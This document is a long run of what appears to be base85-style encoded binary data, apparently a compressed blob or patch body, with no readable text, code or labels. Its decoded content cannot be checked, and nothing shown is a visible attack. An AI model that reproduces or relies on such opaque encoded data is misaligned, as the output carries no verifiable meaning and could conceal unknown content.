zF!Z}1NaKG8j}Q-9{=g#Uj`y|rO)sX42r-D_s*GNf*io=);SjI=!6cFS83f1EF{W(W znuIi+>2NB+a8|g$I38}^g4Y}wg!?*Id+0W4D@0A)WxDG1>TK6!_vEiERPB}t#fW@n zBJhcm{!mz+y4&92jS1B3;4A=Irh>YY(w^QYLCOoQZ@@u54De0Z;GS+bQ;Ee#O)A&J z2{Jaz-TGIB1}RF3}8&Ocq2dqXiCV%yOXNh`6R*P24*M2Cch>zy#j4NM`nWvq^6(M-E) zAM{JBcnx--jOoQjXlgO`ICFWIf6oHQIfW}>cpiNI)rAXf841h7TS%9%sCiS~b=kJx z7*1WhTL~J2@JsMg*s2xS<^Wkh4L?9ujMuj zNly$7J&m*T_JQ7fl$6@qO{0-tHp=Nt6IpBSq~uI8dmK{QO2OvMmz3lmoH%l`5Jit_ zRBGz39!A+&mF>JvsQB!%Xq_8cX{+4dqnj%$kClh!@N-ATKk2KCBJW0Qf5?* zCg-m?1oRHbIHlcSZEk&gM{4k=g!mMTW8$r&5uPg6UV+cb?>=#>`vq*_EDtno`68|? zlx6kiS@M>RqgQY8DcmCfQ5;_dDl#B6k>F}2i|=cMSDi@F5sl{cP=h~U+WSehrH zCM8V|H!cGQ*i=Sd>%1A`>c25%>x9cSYATD zAB(UDVWlw-DH8aU!8Dnuu>pOSqN#J;SiiMM$OliCJXoUtYal|QT??hAdXOwVuq^_I zI9eWLa(vB#(eT46xb`a)sToZqbw{?1c#2w%M65YNibG-eG~BpMri6h&%C#fknYnqH z9rz9#J0Hd}BN?wtH?9Dt>-EytMb4uyTk5NAT;qDhW>e6{<^8EP+1hOK|s))aLP|lFKIJ0)?8!g$4elyd3 z)-0>C^g@hJ^o16B4oSCllj#T%J9WlJJKnN zl8HW^2-SQ69h_nl_Lvm4n?KQ~<*pV@GAX~`)F1Uz12RE`P&v?6ytdD?Xz=5iLlco` z86dg!)t7RULN7G}*%nMNvg@npH~x|}hzkAXxLO-YPGEWlLq|G85l*0J9&re}^fbiA zBOJ`%mLvYNAF|9I(IC<6gV@jEGeN2d&ru0>xt4sM#~U=FN)S5AqGLDwHyj}XFT^CW zMGqVe9rhLh*`ew>ZZRFfBsx4JWJXaD+vlifz#Ci+-CHJx{~dY^M51(E1#2(FJZHUG zy3wv_SUQMy4Fp`kHo%a2lar$O(j)TviBYRM^r?7YPez=1!0Oddi(#Hka204+psU9? z(qrPSSR~$o_H6Su}qP&iVW)OQ5tnKi4Z zW!4|A0R-V1K1watU;ii2f$VS4f!b#qPkv&jbumkYVkpUVvrwkB5XdIs=BNkNQw@Fj zNe=WQ3Iu9Z&|FFkiE3(nW)clqZNs9b32n@nl;A2AM-f36y)G3D1)=B~R}o|S*x=qV zU(;VPXNK#3S>lh(144BV6BdnM+fYS^n6wY2e6MJnX3E~=_^dzmAYzE5nK((u>oaoI zw5n+FeUoP6*k zS(wnp_u;JwT5Bec+)=>2SzFp7-P1Lh|J5e`YA%pGUf@G{cZ3uhWV0M|$l)-?TWOjG zipF=f$jV7ks^|>fF{O=5Qurdj9re~;-!!zSu;i&ki_qBWv^wA7Haq0Hy%>27gftr8 zL9~n$%B_?aBD<$p4@2KSE`c%g?T2}91W0hB{RBH@c%Z-TF=EF)v7v3Mj}NiOw5e_1 zXysoGoBeeF>#&UUdqR5?(T)PBGyew}B5A__z#_n(7k2eL-|gz-A&);dKl(Q$wo!Bd ziQ%yEUuY1DGA%yO|1o1dW{b1kUA2Iu_e}(xu3WMKk~>wMQVq0~FMJebY8`Bu0W7KxasbW}@I9AUBI&1T zhM|}0;N&2j>8*Vm!0WJ$cT$hku+7<95k zz*27XbePYgELSr5X?v$Se0P193YdXq$A`f3$MDp%21$rw3lt$jEjYD>yQ?-x=1YW- zpysE-6+yx6bDw4A?CA%qNDHOZ<(Oje9Ck!vh}*ZL@5-+yhRJQ`|c zK!2$)1#OHNy$@M7xKXieON@#s?UX~~7o69&U@)wDbsCV0C}bRfyDmi+!+`GU*>|LyKg+UQYb3%o?e#?jTjKpkgC!oLIR3&>zhPgCk*E@kBhqpq3y> zxG#V@f|Em)aK>!fhdiDKo}bUpj$!U2LzN!TRlAqu$ zGqc)rZDr9Ew$=toNpzXz1{zDZVXk~BKDV0oS?j=*#w>pgzP76)g-r}k>8NGj1H8B% zfp6La&sx ziy0|cggobc{ z4Dg-kb06hIqAQRjumA3RICDOQ$UJ~9n48fRw$$OjAfdl=jCd-#{LhsPaRmOlp#+gW z)o+*_GNKvT?w&W?n^`p}L$8A0FeJ|@&EaEKlG5CkK#~!kb*Z-!M3%k7fiahB5}R)s zE99a$=GOYnm<+Lq>PczrN5KZ)Qg03AUKHM|BK_CIFPMn&C^uT~G(a!ZJ5tO~UxnnsyMBrdy6q3iK+jTFi2XIAbU_VJRbjJUko8oWDJ-32Wb@jw?rD~H^nO&yHw(ITyMFO zwkKv{K+oPyXv%l|6=*=RF#mp_QSncJM)U#OFP%F7W`yqy_pWV!2B~6bt=&)6gny{( zf0y^+P3mp3_Wu#yhmBv}hoyhzeOQL4Fd}Eb9oh{irq0)i18IJFSnN|fez;0F0kNJ^ zjRDs$`~Ic(v?pWh3P|jWp@SsLc)tz;ovSEtJVH3ek#*@w8U)wC$%8q zRdcP-owVe<@!o#UUTD8OEf2A44Nr-r!nW6^A%|&z60*#Vkx6ib6@P}5oPx#ND1_gRr+Hc>1<+Cz5ppBzk} z$PVFz{+a%W-Bse(s-(s{eZP18xN5H%^BZRb4UCqsrxSFYd`&A1X8eo~xd~<|N#~gQ zovl^7xjDaIW++|g^UP#!r8=~QwNRhaH?iJHOLu0p0A9;>yyK;O#F228hLlx<=CJczu8`mtipr?o9A}9(zBq zj4I{`aQ}#W4u`?$tmUK~sZ7t5kUFmJ%>6JUG)5KoZX!YfX zu@>>u`MxPb-o}+JU(+>tq!g7<-j6;+z97`orvMd~Q39#?Fi+CtQAHV050vmw-?8m# zjfjJ90+Vt1$Pk~Xbtn<6n_Gw!ba_ZKYZHj^7 z^&45~VmWp4TtOZT{J&6y^^rtQTcQ%PB1T}u737*pN_<~$N4a}v{NBtPZ#8pc$yp`3 zGwtQON)p2tUaUnC{%k_k#DSv%#X{PsGA>$I^jBr$liLm*&A=31CP9garLE3r1W=l> z$HAdhBI29_L*Iuc!$zQRvX5JkNLHL$70&W5-e>`+&@d9?0Nl0X?xKRVlz_EXCK3M> zI@1%a`{!s*K(pS1kGB1j8vZ}=Mkt(ohl`$o%ua9shsOp(3jY~V3l+Dg@3PEP2#O_D z)G4KhaHVgsk(kY`vlAZCQr`w?pWhwTBlz@_B z#5nev^pHWFT_=JRc_|I&@WA%alL(QayKVW*1s`?1UAWFP0)N5&yI_I-jZB;p!1ZPU z#JV3wc$mtVMHEjE)f>^%1*GOUtztKS)(NMIhfwr#c$jsu#;0H>?v#=~QdBjWoF)4h z%Tgc1!bFCqhmP(r#^Cmm1*S?@=`uF;>wSHzj8=&2(MEwe9eGV4AW2kKxf)5$NH5Sf zT>+C1mIr?(AI>3@58Jn4DhUr*0#RMtJv%L$Gx*U{eLV11r-cjYFL~qS1R`&&6x#qX zri6@86CHynoS83YBXSq`vXJZ8Wh4EXf>rmSS>g&E*ha`WyL#GRr-ldW`CGj70^0a3 zKq zQ&(U;<0^Fhce<2Tc^1v%B4VSx#LVNz?Fp#c6baa427bWcif{#0UA_s%fz>Sh`xtrk zWGSdYLonyo1QPy3N`5DL?ohy_NjPUdf*j*OU`T9uKl6S|@$Gy;VuXxfsLilS2*YY| z7pMjW15pX=L9OjBKVc=TGbUN*DRhTXu1?Lm>+w=j{z`Z*v^MeH^+VRH2d|pV)g==CSS-Ek( zo>*B|a_ys3$N2NPoIHZ54z;873WQ#4nuXRc9{HE~3z8Gp{Wa zK^*U1WR~wSDs);DCwH-@Qw!g+@498gcuOMrOip%j$4fwnAr@iMg={MXuhL8q*J7I~ zYd^K{PHd{Aeh9k>BR>dJ9M{yPURlt^fWPW3t`I#gpRo#L(Jgj2g{c<60ROhz-%SH}N-em*BkHWy~st@4vacoIkTqMbAHu#w{#8HMp#H&=45k#9-K zTC`(&-fV0yr~1N3GPS*s$y3Hp^G0xC?434Tz|a+nJejpc0k44c{};|lhf>}}s7tOF z`K((B$VJs6)>p`*o^6;R0;JJF5=-SxIYe4fu%vIqcBv3pj75F|?H_a~T)r3EGTroa zN)y_uwjraUg|;L&l`2{C7uo(XwUIl=a2};%yn751QD=lPONyydXJq{wc@rX9fj@A8 zm#*sPZNcL&>NRM=x{TvsEmMk$IHi|BBFdA{kqQ<>GegL}*HLJ4tPgpUo}BoIIgD_gE{9NvD^ z^5J<~;2z*FeAwd^rsDLyIL;Q@GRMp3^Wuc_!j7O~LzhGow_SavZyfvudo-}y*^+1M zVPK0Haa^A;lXiTz4`^jmVvBu4=DNZM{{c_xr_$)D8Qa#&P-Xhut@O*MX!-lWw*%bV zN9d%fe_hvFpA<<91>57se<5&EiXQtpBSJ}GSf$)iL8<@r-Oe^YAA!O-srTkGvAV4S z?P16#&ORBAs6173OLfoWMG3-(5&+<+TOg4|^Rr$t#P1c*q{c!5z4XP@;b7vPlPn0> zVCYAMdN-j@&Pr1we$#uyPYqePDw)WHA2(^lKGS~==ld#2ogY5Ldq@Z+khPEboAcvf z9&AIzXq;~L(H{2mO{((J?A(zfCHpV=vP6CoLI!7&?(`xVT%N!UWlg&c zs68-0XKH_q(N9Axic_1J@d9==A`u495FuJWlsyTd;PzG4nfbFN@3-|c!+Jvj)qpHT ze#Q|bj5`O^Z@Fz}gmpX?b1coDdPiBo#-Q;g>}|r-#|+PIg*i;~+bj=oL?6X9_8bX``j6c6byk8)R6)U6&t^G?yC- zOU0BKoL#^jb`27t7V<)2n4uP#96?(JMznI(Cyo$zM3TSRYw_2fHyZu9T%J-bzm$%N z|J#%fNKZv=Y3pyLqZ+g?kt1KSz^7!M6R$cQ512y#Ds*6VhK%hAcX5LUtW-BQL(PC? zsM`MYs){%A=FgZ_i}@XoQOMmxsepU-2;a#M4|KfJq+0+&cm(}5v0)@|$G>+4q%u6* zy;&i5^roO(M>e2)0_yO(dva#|=TGs}v#A-@)8`EEjaOJE^WPzo#+tSld62#T?|VCd z2qGu{jtDkfb|%Y--7`WU@&>MdIk1q#-M(o8d8~g0m1MK`_thoHB$5KfLsSEois(Nd zNP-FJ5P<%ztOVikQ=o5hrQE&;zMglm0GGr{_CwObK_4mN5L=SnGn2cj*h(pPrS1__ z^45=cGS`ePp;kiw3@NDFX3l}g3vx71ue%L07tF$bg)4;IbOvaRL+5PXWeqohn0Cd8 zApXgHp|5v*;}FnO+WOD*iw5$JS&8-}z=e?+RwTl^E>d*IJI-RWJH*lz{;LrxF=AF8 zkHUIV8HB#s$z@>h4HGC@eH&f~?|g{mT~xw?Whjkw{j&?d>JxMLn9cCi$5_~ECi4dm z`~$Zjl21MTdH83`wo=iDW#xw|s1r^_QG-6E7Vz6pKHJ9vo2>1G|HL!-__t@WFmPVU z5-$@5YpgQ)f1z3gH(Ph9J#U{Lv(;A|us3%S6TP;mfhKn%^<+ce_=5oCXolBkb$eQx zs8CO0w2VX63~Q%Q4I4Fgfio~dbvmNd0N138Ffn2}F~K!Gy{HGUcItM}*d$AxD2F(G zZbEvB?qoJR>fb)aBO#sU6Y?o~ig>{>B{JeA8!L6D6K1Hx;r}W};iA25znSZ2Np09R zZ^DrZc~@*PfO;~6F>ghUt3mR-TcBuS&(xQXGY->mV0MhPLRHJvr|L1#M_NMGel}lv zc-9+_&0Va@s5)gXzc?(+}P2}Pz z=aY{Cljley+ag#&m@wL07UifkuJt^yzOSC2TOr?FEr?Or=dh;Y3BTIowGx5tJPXu| zZ&~*Z5#s7Ub;WF*22Z@OY+3R}4LmM@(^q8X-FU2Mf=8tvCi>~KAxq5oD%N; zV2va)9?7&@yGO)ejJzkmL}ny;EI#uetdXtMB6=U_e<+ZT%;qL`G{>sRLG~`GmJKj- zum0^ZiY_(tK#~7fF^c>9-CGYk71f&i@Rs~xK}M)Z=uhlaQbd7BG@tz8pTN65VR3(- z7ebjfZnx^ANapedTQgPgRT4g4QUPt+^L=@rcIKm2C88G>*nvT<+CqNesKW>}NEqn& zlFUIbDZEJ3baHzabgy?tng%x=>g5A|plXyBDD#*m-s$7FWOgD>6 zo}eiZco1jllSpc;noW^KFs6s=weC&yrptrXW!BE%yCgfd`-=YQLENDVHYG7_y@Uhe zah6&6i-$PJ_B!6?n$Cu|M8?K_lVDnR9}2;3Kt~#Z*oV(|Pl-)j06YeXb4a!;M7!YG z_Q7EL(*!pGvWMa{AbZS#;*lBAuU@KAD1P63{bW8CkUbo>^7Gq2ja4om$%E$Lu>*mxE2MUcV4~gK-CB>o!Vc&^u%rG706WC~6lE#` zKtt?rumcV9>`#1D1lVOHX#G7Ai4MRHn?JBa5>p3&9e9I&7iGGH^QgWkF0O|{Ou5${ zY+zE}d9t82w&3;||1@68!I<4Hjn9aSHMtVk~9@O;aQ2r za7LgAQy98VJR&w|7UnNKRp`Yee3tMP%Q$qw=3RPQ)2)Vp7}HE(#X@6X#r}njHt>Js z!T>TGVgQ+S*17XRUf-j9^69XBUL%`ue<=Hl7ewI^TRl=$4ssn@xOXW^OByOE2>$lLOpGuV=qs{!5v+-PmQ7J&%?4Wws4N) z1Vrb0sA`r5qh%H9RbqAnOcz*N#=I}=GUzPJ0ojChrM*6*OQhu&M` zNAB_c)~~M?x>wkERc$CQ=7D(#Qw7WtPHi55S%RM6=#N>#|LM?t&9WIna_u?9Ybhe_ zf$e^t|2pa|+jmnGAx(6`6JaS6+nY&eQL&?b_*8JeqR98`ov|9^lYSXd`8NqWU;W-4s1BhY@gkj!3G_FNXX2B`cbtJV%}-goT|&>Oc*`nyhl9nZH_xQMq?upgLo2 zBfJh-*LNGj#+xc&j3=}Hs$V3)GEnAmvwvZ-d5>}pNEh;+qNnCF-aDU?^M<$jxwd?L z^MI|o`$;Fcq{0sR?(q&8H08_s>KHLCHZQ{1JlS)v8)}*I4IJV4Kq?|FsBSyvY$n*= zyg6vn95DRs)BCvsU%(kyoxRKia1RO}`T^l$Y<`X=DU-}2BZ(=aImYX*O<}5BqI>Cv z-CR(KRQD9BLcV=x+%Ulm5rZhx%OP3JU1J!rodsrhMNTlaKeVq_)^B2>A*B=2*Q>&CY1sKPAz@Xl&=WvpO=cQ@=@6_zhNvX z)f!f*nI;sC;PS4I6P==1r3yuKyezuAVwTeye(Q|nnJd@Fj4Ucx8QNs?z(3$#TsGcV z5(ThixM8+x4skyBR1~HX0QiU82mYY}Yy$8PF=@Z7l~)heN^+>BYJLql>u7^+QPO^4 zYmIKRV2*QMkDt=!UuR+iiDGs`hJNu622U&i{-H2;I(-|9Dq%mE?b(IEx&UcV-YTG;E$41d9Yi?LDs-gU95bdk!Z|vewK3eZO#z8__`> zeL0N^b=2_zLO-nf^}2^(&;oJJbx533@DBUXFX@r*EBEFCCN=*Iz!Kp!-v#}m3LYKe zi4ZU)%ye1|Rwg8`sAJvyjA|W}(6X`S=GbqR76h5yo{t%oz6({W(Gv(_ou(qiBTVO= z-zDVMn(``)x%RcgTqQ>Lnd0nY4@%k73VKS$l3D`IMG2F)j=+! z{3kg|VL%Hw_m|5uLF+TMXo&G*Fh;bPuHc{q*S;_g;Ih2mzkSTF3!2;zqyXNa-u4sq z3+9GIM(sl)$x#V>|BS}I_gah)-D1a&UN>l%DBEWHtk2Od;>UV9knNNs#y_Z$kq?o* zf@C{m@qcGKo%%&7mc)gR>@W*>?8%SKo3rS&KzR3@oq%rPEH+YLUO--xXNYRNZnoPK zU4yd#%ry~e?i?RPRsQ6Y?xG}0{7rnK!kKK{6p~)!3L_GJe-mlHiVW>`s~rD% z`&+fPC3;;ldT_t2^uT^@#?=tN#zi3OY>E3NHRf(|;Asm%F2oAaAKC>ZHtKlZdcEIf z*_!gZ0PRoA0agf|*W|t9o&i($d**9&zp2nVPbp?_42 z3_!OC{hNwG26^^J#Rvja46Z*a2E|is0CD`T&y1omD6+{hu7|M6i=kZiZ+nHXQ%Ra(6 zd7fT?De+`be(yf2v2+BVVH7W}k9x)#WGLs7@JPP4FoUxMkVIU?Soq<1`X{|}%b0!6 zHfC8a*02gpac06{th>wKNk0+W=9K0M;GF*Y;`PV=Uj&KrS`Tz(o!K3ZSJ8_7xWd~VucKSRh97TlRi z{-M)0f}ozHUUsMD;_=oP9@(}Z*C#CA_4bZh z&3+UTbt{5G8{mF3?{)HFBqG)kCUoX((a4V1UqZ;HySS*Ksk)@LOdj32U;*)UuwSzC z%$7psDh1<(!%!*4ZkK5;GM{ub(*XGbnR)-CB;I$(b+JsG#mF8sC9}a4x9z&(ATwci zg%iXj?H_i+gy?mgyV^IxpjiH-4$zy}Z4u zKfdPJJX|msTHbmUwu{TU8s{9nZEAZxXPtgtM*0Xg?WeW9_3A_{sn|G&cyItbGI6`P zBGt|^PZIK{&p#G=6ie8~Jk>@~Jaojy&(~5t+_ya0U7&jl!x1C6WprIG)-9k|@TEQl zIV-2Nh@F7=sqfSmQ11)H;)64#e9@OYbAv^uaF;*z!u6cHfapumVz?I0*ME$!*y+3| zWr)FnQfm^IYdNQqyVPsTSgjXSL~X7@@RAWE%325!T_DdFAMiU1Bcc4@-y zAM2x?Y9{jY^x^PpcCa5BGdDw1PPj^(`Se>Df5i1ZI;7-zF6q_MeiS=|$MXD539;^y zk1dynSv|Z2p@sOaSa+tLj?CH#oV|t5#XE&=wWR~|{)5Shj1i<)dnb?cUhpwOe_c0A zyfgzhFTMA$ab0@fQZQ$h1loUsG66JZdV1XejhSC+NE6?CV9SXPaNxu1*d8S@TlrBb&(b)Wv0uLk^eQNaFV>)?VvD`G8g{1pnb&Fq zhZ|Z7!5tlEOuivv#z6XQW({5r-R%7n>O*bG=5+t<^S6Ts=ATJGA#xcY0oDDUB2kUH zGw9gBqe7|O{o%>mJ*JcZ;4lGya|~5r+7_82hiO7Fgb7T|U-z}Fm18h?8FGIf#(C1o z6yVp1!K@~Rm)iC;mqvf)jS6M1VHVA{{2gp6H&CA`PIs0`Yl}aQBj|Su<59L;xlC#= zxsGfi&-{Hg7oiV0Z;%7^nHNiiFa60GL5ez<3U%h6=Uioe)o1ENFjVhp59aG(4C!js z+n10K2K1tst;>AR$Ug%iRRwhvS`%)>|4*k0_GK$$+m)5v`dFtL<b zwd7{CX{P9>j1yun=_#~uveL~bR?l9VT`xJ%5O;555Fdiu!*t^~E$c_BcLOKBO0IG@ z4L-NSL@w_(y3`}_Y$pClaa~P#L2rc28?3y*eQg@4O(POb)*=MY$)$R2OT$vDV7}2p(155*^)K-_{*e~NG0v?1n=D4YZKffy#_edcRP-{ z;m`d``^4*i#Qs1be_M4qeRuGL@e1_nRSkKKs*NDD4yt#h(k)6SQF~GkOOYLckJv6w z9uLOt?UE1$Q5TmUacsVprE;_lws(+-GEK6KFU&*{22}5tX zyuDb(~NP4UG-x{F&#p8-jR>{4tpb!wB-_=O&)sUess8HAKSSG0NilBg2(dQIDzUYm(tt@@goimqHF**9ZT`QW^KvJ-ZL z9t0|`;@p(Bwr3y0Z1SW(jHX;-@MO@I)^pXF?zmP>X0fy3JMuVmsk43S)}lFY>P)kA z%)p8>-S;I_(vok9e@Bcia=-irgEuWm2ff%1-C(Gs^2|rHl(a~jX|`SOxCmJCyHB*CC&IUexOCw=W`zi;(|O6O&q`m!un>ZHFAas4nLl0D zDCWM>t_+6P--OCua9QxFW6?c6z_r3zut(a`4s=`WQ*2N?AVHTzvJpBP?wr)d(P72? z>|Kan`aCf}73k7*@ArI1t$WS1z5hiniUUiz+qwtU0H|P{G(A05))=hA~TSYs$LNo)kRLDGp+of z3laHrX={S-%q)>8lnpp-8ogk&rza?WrXE=l5j*Frc39svW7Bw6vd%3Rg!28$C9aPN zjt4DKNny*XBQ9zNXYlKt#MPZvl5;W!=`>KLNr`tGeDkr&@XFZTT=dGR2@kgAUh9xD zV{jtGshGW=MmFxQ9a5$l$E<#Zx7^3LwmqT~c-kCDl~YvZQLh>p_@2zrWM<7x!{dIq z8q2$K0AxJ?KhM9#{nQ6BH$yg1hi9S!xRUccXX~0xf0b!YZwLWpntD%MM?;x2-mRle zj)6lO=0|lWP|EiB4P_4QrGnTRJZQz(oQ?!5sJ3I;511kzTnA*H5-gxN~hsVjIClaV{A) zNvzt4(FS*}0#xb!8vG38-d$(o$NPwfdA*%5#hRQRgI|BzYqD1to%m-ZW@g7E*Ae(B z6A4EdJ{=P)dmPX|S~iVs%0+^z`ZlLEb&e6IPC|qLPI;I`s+sNjYaGyYEV*YW!jWIZ z&b_F_MWwh^cSgVn)M?7zbL>fXr%kghxs*ObS9cnq%WwgBpU1bX5}3nes3f_QDA9$1 zsakI)I5U2z1$6NeM@l~Gp0QEC8p2zdO)wpeD=5bTZ-T$DC@ICn*12~p5|Zk6z^w=$ z`kmQ;M~&hx$38?7c_K*?dxq2q^`eH$A0fVnW^FLDP^DnEC&JYsXrCt|@3fUnVS1hD=_e8_6I0;(j&m#lDR^6~o@+S@OpFbOZg45xEO%Tg=&ituJ z@$~7$(jZF7*CK@kwbZCdl)>iJG^&cxm#-9aNl#2z(Apd(N)HAmwiGf3pN-Cpt`TF8 z^jaj!&hMEp92{Q17tT(QrRx72zS|%|s5w_OJ?Mq96z1& z;o~%qrik$7Z2fIl`InBxz?39QzB<(BJ$~N%+QGZNmuX1O zOfF;OIc0K>06Cuj&3b1*L!*vAUVPwM)Ob##bvWL);hlY+Xs6u;iV7>Ua=#m7Oi(jW zAJt*TH@(gF-V2SNb-P1uETMxf?7cm%3r>?Bt+5B1xMDN+EJ(XFbeA7M?1TZ+Y-&Sd zEihroqH!WqDs0n6)UonI+ugf*9rtE9WYeI?`O;yWBSV`Lv%SE&>FYCDm8%q%n;guN zdLs5ztigNnFUhgTOWkw)8G#D4iq}C^F1HD*Xd{y;RGyK?=AVI9L@V(YH@#sa)MQ1{;5gi`WS?`Wr zBG-O~SLdFgmLNS60rfuHopm~du_laifi6hDCKYb;I2XpeXhviFS(jtuSwqQZ;vtX8 zPv_JtYInq7rS71BJz7&8Km6;QR<5UKr(F)2FdYMSI<{jI<5|}s9nVlg2FG4=9XX6$ z4^+JYe%)`@V}$TPfI6aX@o!?viJ7hK{%Ex0gTDiJZ5;55{@YoWlCK4P<8KcHdk-A3 z%kDexG>-aARN`JuuIo3@iM~8Mgn7Y~b@VVr5?m8_wRRkHdN#N9^g21CAE6!YNd>>( zZj0~!JjR~*t3mVFL5J~e_}*ADmo6$NX4q1ZU3EfkgJZsxR2y|sYwi27ffLM#TkgED zz;YOQeSO&7sZ{2rgN}%rWsSP*$C(WBq(gn3htcSR@2yAjXHO5hAGy7R$AF5i;-ZjS;ZB>;@yGnfREE(lPpGA#xS4XYZ3I2U>Bt*Ac_)pF|Abj#PJLl7AhjR|Dn?%)b;y@#F=~l0 z&Xylu$6c-@>1D(=u1*ZaGgc+oO22_M!kAEKVN5BB;R$OIA9r~{(5W6!akqBgHon%~ z1{!uMC1MQg%uQdO9QE4XUS1)eB6_{OJ$~1||Ac8d@Q@w(1B2(+joQu+$BIVv;jt5K zKTq7c99(4GW^$J_cPwJBT|d0pE1Sgvzw+A1w5?N9LjzqQTwYPptyb0#oMY{Fe|_H0 zcZHi-Jr-DT=?SgY1*(T_p9E-4OsH+a-($vzkTGLy)i%&lqyGJSfto>$;9FqK*llAH z-`(sM`p1tg&1pvi$1nGuH;tECdkR&!qda?iNs&Nxn?>gnj*HL#IFLeqhax!-3toJ5*t39d7`l$E? za6XU<`e|ft6QL{r;XNFt7!gFAcuVXzJ_Ty}I}tRic2lv(Ius1Vb>IrV64e-y5>mrL z2X)v(3lODsiL4G-zC*T_t+(}umvz0V-O`95W{1ig~lZG!({8p<_E z^OYG5RgBE*GjTUNwQD~_B++_lUnWjW${p&=4|Sc{y|Eg+9Mr%PGD;s|@E1kjazefu ztFGRUQSgnv3CbQn2jv6yN8gBC&JU+Kb7e}{7}HoPLnb=Bbq}R!W=vu^JnWA9bSLQL zPLr-E^NJ35>_{AKd@`9W9>lyey~S3Oq(LHYcD&Xdzv%w?i}KxI@S}0)k{&YkCwf0$ ziB?*^F?CB0#&=HB@3S#2j~yo9-?Y`9Gsa%vY+OW0rq;m6rc;i@=7@tNGzOzX8wmaE|9Q%U%? z`&Hpr44z0w3^wmhaJRZ&=7@|vLORRMD4xPxHb5c(eKk8I&jj`~)ZuxY<|N!XWko^S zgUZf$K5;cf@qzZI&xiy^@TkDl5noInXDdt?2&3F$Tr;Z)riqLYx>hmEENfYodCa0} zG;3AjEY>ZS8YssDBg)gyrv)t%^$Xf=1?|uWV^&_*tGB?p`OCLMuNb1A9_K3sy$LCM zw~O!sZB;!+Gdh#RxdqTC(`~FNp@0o#1Ykp1@z)66{tnZ9LbqHMblBosDLo|27AhQU z`L7yS#@dT5S}{M&_(BR+9Ko2zx8D|iVxUB1kz-vCMRUoDGF-pyHtl{*EaJHL_6&Mi z8HveJ;{m|ec6%=OJZTDK-W~F#bTcEQVFL)3w&QfTW4KH)Lt`WRdij9Ex)>!x(_Rml!v#N)QKU>Je-%Dsu zO8fIZrpcByRii<6r6mlL@7-ZK_YCJjRg}gVjT>&U7owbs;U-;MwNQFR#6I~WtVTt{ zw89DS4@s`CgIxjfAD&aa$Wp6%)~&aORGBTA%!7Ub+l;h4h94gh=F=)RV`-C%=2hQ} zo16}vo5ywrh@30b(e^eq3ujw!19^l&4SitkFJf|5Cil^&mshA&G2$C;NaMx?(URskOnDHKsuxw7Tw(?jdZ89bayVeU(jFdz0cYA z+;h(T|Htr&WAK2n9xUE-e&&45nyBCjUs|zg(OxV5d}pl{OEzuSNjv=Pb}V&BeQ$6M z>?>?`H%W9hR@8UbA;_Q-zOPMpnAuv##$W>KMf|lm4!x^PFbLH{%i6bP|4!MhHbEl7 zPjymUf3Y}>V}nZCVUw=_DURM9-Yzo*1S8cqxxV%$6dz64;E?-qeY}m$WWtQY-J|V! zF8cK^t#`DipFhhVNb|k)C9#uaRv+|fW{^=K5{kZpLgP;$e8cz1o^Lsec2*A?Dbx%quE6%%lnm2D0tdq#WRta1z*zZcYvrqheN;>Gex3Z9KiX z=I73{wRxK#Ew#YR=$wct^@_HUWOL2L)X;cOcq#JB&`-l9@qd-MgxWtzXV_zbN8%&& zisx?BGaL~=d4&}tdc;4Y(>v&+WhR?9FC7V+&7bJ3G}$BO@j!3m3PJhj*BQMSuKyI6 z{m}!59KjS7E=*wuwnwRbu&}@!PY!s$*H3!>o&4j9Wi>5i1JM?Fidh^cue&RDzz>fk z&*<@AIv4AbUwsUf?De#vheL8k7m>h7*8|PrZ(B zjgMM&`}USa%!eWfn){OZwdc`~0CAJsZP~mvu8OJkh=l;Yz8zd0lp*(lesF3@~lJsTPnrgdQ9}IlQJ6 zo*mXsX?Yd|SF9!?{i;L~{ykZ;jq{rZw&aY`?lTjggC86DK_Y$QohL78+y}8~tEiC* z-N3cA&Tlos=WMm%Jg!)e#cq@AZ-qn&G@~!j0;bp#h7Ji(E^AZ!Z7twA1 zdJ+H-1UZ>FlvlgbP270UzGnh#L+}G}sej`osTG7_f(J7!)(GV*gEO7Q^6~nVsc&O_B7gF;MFOz!g6& z*)!kg`WWY+q}iOvRPQOzz;i#9D!C&W)z^peAz}pF{r~=m13o zk&naL$^0YKIfG9x0=x7x%GzJf#9BEPjXQmr>}F1?oj@KMHPU{P?CDu_T03#Vy?OLf zpKmtw@N%uqtWXol%`3hK*}-6l*_uiC(lwXt!~Ch$80imR?xKkL$3(UP!Ny7nj;;{V zqEwq%UKY&^$h>F@+xN@3sh5OZ{E7`VeMcE+#4lWmA(*w$WGQ-IAJpYrSNlCX@?P7c z$T!tO`4TMP9X3yx+ix=c@33Fm2!@hR6t|T#OT(o(y$y)i@}xOjGm3%Jb$$?NRLXoM z7}w)*DDv+fTi=G#P*w#?a2^NCkdB?C0p_qLZf(bltsjN3!J~NYAlG>XRUNvjPxkmU zd>_fSB0b==-LI+=- zx;NyY+UHnIl=)X67(IM_lA{F|=)ifGr)uQLDnm{5HMhU zfbKA4s_D@DzE@!fISjKR3^)mUG-gw7{_xt$CW%7S^!D+6yl;PlK$*4N5xbcJ8z(e%hx z?AC0_SdZ>>`C^Z%R+_&n)SoA4q9C4$as(zR47J?J0dyo^Rf;sLafqU~4)kVrHmiLK z+_ue6=lDjZx=VtrE|@HrQoKim zRk+ei4Wf}kS?=*OD?C^z6gR0z5>m3|6b>l6{b_yRk153=PXc3f21AA$oq}2RdR2*glBmlhFJuY+NNP38SbrM((y!IK%ivw{aW0x;isD&|9!}#kkx@Ec ztdo|ILCI2#KvBM=qA%t9zKoMkestf!A1D!`U-!rqBDvPjzb7ninZu5n#)AFq3&)LS z@#e!?BVqBm8q4^6sMoog=a81=_M5?s`3JHjrW2?PvSs<1}ZVuyvxb-WH%%xqx?;`QEZ5EOmYdY?v0 z+-WY1Cw6u;M)9z#6Kd;_%oIhwVI+u9lZ6pz(@%LU-Wm+TYOoB7H_B3<=} z`HI9z&;Np^Y}yzJ<;;PE>pgb%M^b5P-ys^F&xZT}$qlD7|1}etRsg~Z`V5*}&O^n={L)|pSd(#UYz=w8(_n%nm zSsN=-N$kWkO2sz+ux&`<$BAxP=W7nBRpcLuj!*p3h@H`p zzUPwQ3E|>JyrgZ(*2nUMqF%#KtM!&g#Fgtz>9f_-{9blz|C4+Ytc)Nft^&Q@o6Fs= zGS=gSqnlP;c?qIZ=f#=N{<^ifR*PLwp!@4m2O{H-Lh}=jOB2^_PMwhwPW(uxJ$b!V z4)Tm9*T`>2o2CTAqI`CWotE>r!_l&+Rws`^xv~TcdhL9a;b4L5!)mJI{ML<6Z!K1l 